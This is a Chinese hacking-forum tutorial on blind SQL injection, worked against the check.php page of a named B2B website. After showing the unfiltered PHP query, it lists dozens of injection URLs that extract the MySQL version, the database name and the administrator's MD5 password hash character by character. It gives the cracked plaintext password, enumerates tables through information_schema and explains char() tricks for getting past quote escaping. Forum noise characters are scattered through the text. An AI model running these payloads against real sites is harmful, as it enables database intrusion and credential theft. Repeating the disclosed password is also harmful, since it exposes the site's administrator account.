|
|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据，本文出于讲解的目的，使用更麻烦的盲注。
# [, p1 X, P0 G9 H3 J阅读本文，需要有一点点SQL基础。盲注理解起来其实非常简单，就是做起来非常费劲9 L+ |1 \4 H! P' m) m) T
作者：YoCo Smart
: i! {! o. E0 ^8 a5 T8 t2 ?: C来自：习科信息技术 - http://BlackBap.Org7 Y: f- V) \4 ~- |8 K! r% f* P
我们先来看注入点，是一个B2B网站建站公司： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1+ V8 y. j* ~1 K2 f; ]7 ]) `
) P3 R5 C6 B/ y( t" F1 O复制代码
" z5 j# {1 V! Z* l0 a- @6 F( I3 n错误提示已经很明了了。我们看一下注入页面的代码（有删改）： - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
! a9 B. s) Y7 [$ O: |- Z2 o
; z7 {0 |7 r* V Y) U复制代码$ H* ~$ z: T1 x) y7 n: M, Y t
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行，并且MySQL也执行了，但是并没有显示数据库的任何信息，而是判断是否符合* \/ T7 b% m, {5 f9 ^
那么我们先从union的盲注来看吧。/ j3 ^. H4 d# _9 J7 }
先看版本： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23/ z) N/ j3 F( v# @
' Z, ?2 r( Y( P1 L- d6 N9 [复制代码
4 K5 ^% o% X. k) B6 h! I( @% E这个时候我们来看看原来的代码中的SQL语句是怎么执行的： - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
; {# |; g6 r& k; p
' [. @3 G& Z& r5 m% ?# {
复制代码
, _, A8 A4 i8 }4 }( o1 `! m. T& x因为执行成功，所以不符合if(!$num)这个条件，回显“用户名已被注册”，那么版本为5成立
" X) x1 e8 J6 [) ]& }/ h: R再来看database()的数据： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny0 M! Y7 G0 d Y& x* a, h
) H. \6 S* n l0 K# M6 T复制代码: r& g" y* T1 Y# R! X/ W
length()函数是计算括号中数据的长度，回显为纯数字，可以用大于小于和等于号来判断是否正确。! v" x7 ~. T* J
这里要注意看一下left()函数中的数字变化，关于left()函数，可以自行参考MySQL手册。! X" U0 S) e3 f' ?/ o
再来看一点简单的判断句： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
" H9 z$ `$ ]- i" M/ i1 l
3 K: s _# z$ C7 g复制代码
- _1 H6 \; ?5 n5 z+ L这个时候length()函数中的pass是猜测的，当然是建立在猜测正确的基础上。! h4 Q% d" l6 H' l
这里要说的是，pass和前面select后的userid同属一个表段demo_b2b_admin，所以不需要再带select语句8 B4 Q/ n+ ~3 ?2 c; O; X+ W
那么这里就能得到： - 这里最后没有'#这个终止符，大家带进去看一下，你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32，是md5加密，解密得到lcl2wly
C6 J. N: h. P3 O% W6 {; r9 z, G
, L/ e2 L1 G$ b5 p复制代码% d' B+ d1 N/ v$ m+ V" \4 Y/ _# C
这样，猜数据的方法你肯定是懂了# u/ n+ K& @! H9 A/ W' Z
. n1 h, X, z5 k( V4 D" p, [
" U$ M* t/ q0 V! _最后，我们来看demo_b2b_admin以外的数据，现在再来猜表段： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23; A' O: Z1 w+ c, C1 Z. x- G7 m' \
# \# }, X- P, i' Z9 T% a, a) }
复制代码9 T8 R& _' s# C; p% R
实际运行的SQL语句就是： - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
( @& v8 b# q% U9 `: c
`! ?& \7 }# `( N复制代码
6 G7 f" y9 U& K2 Y上面这个语句，对于information_schema不明白的，可以参考其他MySQL注入文章来看一下这个库的意义。2 Y( ]7 L; n( j, Q3 e( h
关于limit x,y 的用法，可以参考MySQL手册8 R; W2 z" N3 x9 X3 p# g( \
* ]' {* Y4 y: u2 T( e最后剩下的要说的就是ascii函数和hex函数了
8 ^1 G/ \2 n4 \' v$ k: A这两个函数的意义是避开php的GPC转义，例如： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#' ]6 C4 Q0 [ f" W& f
\2 Q5 R; C7 D
复制代码' n" g6 K O" a. i5 G ^- |
substr()的用法可以参考MySQL手册，如果不懂，就这样套好了。Char()里面的数字替换为ascii码数字 |
|
发表于 2013-9-25 13:52:56
收藏
支持
反对